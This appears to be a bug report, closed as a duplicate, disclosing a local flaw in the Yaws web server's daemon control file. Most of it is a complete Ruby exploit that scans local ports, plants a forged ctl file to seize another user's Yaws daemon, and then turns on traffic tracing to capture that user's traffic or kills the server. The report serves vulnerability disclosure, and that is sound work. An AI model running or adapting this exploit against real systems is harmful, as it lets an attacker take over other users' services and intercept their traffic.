Yaws creates a temporary file for the server in /tmp/yaws/default/ctl which is only readable by root or the user who created it. The ctl file allows a user to control the daemon with a series of commands (but the thing stored in ctl is just the port the daemon controller is listening on)... Allowing on the admin to kill the daemon or turn on traffic logging (which logs to /var/log/yaws/trace.traffic which has insecure permissions too btw). Anyhow long story short... a user can guess the port of someone else's daemon and include it in his/her own ctl file... Thus gaining control of another user's daemon.... I wrote and included an exploit... #!/usr/bin/ruby require 'timeout' #Assuming /tmp/yaws has already been created CTL_DIR = "/tmp/yaws/nasty" CTL_NAME = "ctl" #Assuming the exploit works some goodies may be found in /var/log/traffic.trace #if this is enabled TURN_ON_YAWS_TRAFFIC_TRACE = true KILL_THE_SERVER = false @openPorts = [] def find_open_ports() netstat = %x{netstat -nat} lines = netstat.split(/\n/) for line in lines do tokens = line.split(/\s+|\:+/) @openPorts << tokens[4] if tokens[3] == "127.0.0.1" end end def create_ctl_dir() Dir.mkdir(CTL_DIR) unless File.exists?(CTL_DIR) end def create_ctl_file(port) begin ctl_file = File.new(CTL_DIR + "/" + CTL_NAME, "w") ctl_file.print(port) rescue print "Caught error while creating ctl file\n#{$!}\n" ensure ctl_file.close unless ctl_file.nil? end end def attempt_yaws_ctl() output = "" io = IO.popen("/usr/bin/yaws -I #{CTL_DIR.split(/\//).last} -S") Timeout::timeout(5) do while io.gets do output = $_ end end io.close print "#{output}" if output.nil? return false elsif !output.scan("Uptime").nil? return true else return false end end def enable_traffic_trace() io = IO.popen("/usr/bin/yaws -I #{CTL_DIR.split(/\//).last} -j traffic") while io.gets do output = $_ end io.close if output.scan("Turning on trace").nil? print "Unable to turn on trace\n" return false elsif output.scan("Trace of traffic is already turned on") print "Traffic trace is already on... check /var/log/yaws/traffic.trace\n" return true else print "Trace should be now enabled... check #{output.split.last}\n" return true end end def kill_the_server() system("/usr/bin/yaws -I #{CTL_DIR.split(/\//).last} -s") end def try_all_ports() for port in @openPorts do create_ctl_file(port.chomp) if attempt_yaws_ctl() print "This box looks exploitable\n" enable_traffic_trace() if TURN_ON_YAWS_TRAFFIC_TRACE kill_the_server() if KILL_THE_SERVER return true end end print "This box doesn't look exploitable\n" return false end print "Yaws daemon control exploit by rootfiend\n"\ "Tested on Yaws version 1.58 installed from Gentoo's Portage\n\n" find_open_ports() create_ctl_dir() try_all_ports() File.delete(CTL_DIR + "/" + CTL_NAME) unless !File.exists?(CTL_DIR + "/" + CTL_NAME) Dir.delete(CTL_DIR)
*** This bug has been marked as a duplicate of 159602 ***